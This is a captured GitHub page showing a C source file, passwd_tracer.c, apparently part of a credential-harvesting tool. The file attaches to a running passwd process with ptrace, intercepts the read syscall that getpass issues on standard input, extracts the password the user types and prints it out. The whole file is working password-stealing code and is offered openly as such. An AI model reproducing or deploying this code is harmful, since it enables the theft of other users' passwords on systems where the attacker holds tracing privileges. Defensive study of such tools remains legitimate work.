-
Notifications
You must be signed in to change notification settings - Fork 110
/
Copy pathpasswd_tracer.c
90 lines (76 loc) · 2.08 KB
/
passwd_tracer.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <sys/ptrace.h>
#include <bits/types.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define FILE_PASSWD_TRACER 1
#include "config.h"
#include "helpers.h"
#include "tracers.h"
extern pid_t process_pid;
extern char *process_name;
extern char *process_path;
extern char *process_username;
void intercept_passwd(pid_t traced_process)
{
int status = 0;
int syscall = 0;
int fd = 0;
int i = 0;
long read_length = 0;
long length = 0;
char *read_string = NULL;
char *password = NULL;
struct user_regs_struct regs;
password = (char *) calloc(sizeof(char) * MAX_PASSWORD_LEN + 1, 1);
if (!password)
goto exit_passwd;
memset(®s, 0, sizeof(regs));
ptrace(PTRACE_ATTACH, traced_process, NULL, ®s);
waitpid(traced_process, &status, 0);
if (!WIFSTOPPED(status)) {
goto exit_passwd;
}
ptrace(PTRACE_SETOPTIONS, traced_process, 0, PTRACE_O_TRACESYSGOOD);
while (1) {
if (wait_for_syscall(traced_process) != 0)
break;
syscall = get_syscall(traced_process);
if (syscall == SYSCALL_read)
{
fd = get_syscall_arg(traced_process, 0);
read_length = get_syscall_arg(traced_process, 2);
length = get_reg(traced_process, eax);
// passwd reads from stdin
if (fd == 0) {
// getpass calls read(0, buf, 511); TODO(blendin) change from hardcoded
if (read_length == 511) {
read_string = extract_read_string(traced_process, length);
for (i = 0; i < length && i < MAX_PASSWORD_LEN; i++) {
if (read_string[i] == '\n')
break;
password[i] = read_string[i];
}
output("%s\n", password);
free(read_string);
read_string = NULL;
memset(password, 0, MAX_PASSWORD_LEN);
}
}
}
}
exit_passwd:
if (password)
free(password);
free_process_name();
free_process_username();
free_process_path();
ptrace(PTRACE_DETACH, traced_process, NULL, NULL);
exit(0);
}